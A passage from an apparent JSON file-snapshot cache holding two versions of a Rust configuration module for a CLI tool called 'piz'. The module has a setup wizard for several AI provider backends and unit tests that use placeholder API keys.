\"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "8fb4fc15f1a76b408b29891d98fbcf5740556bb7": {"t": 1785760780.4335093, "n": 14758, "h": "3edee0915857e3b5", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760782.6502318, "n": 12256, "h": "3ea4f347a8b8d1bd", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, Moonshot, SiliconFlow, ...)\",\n \"claude\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"Moonshot (api.moonshot.cn)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}}}} |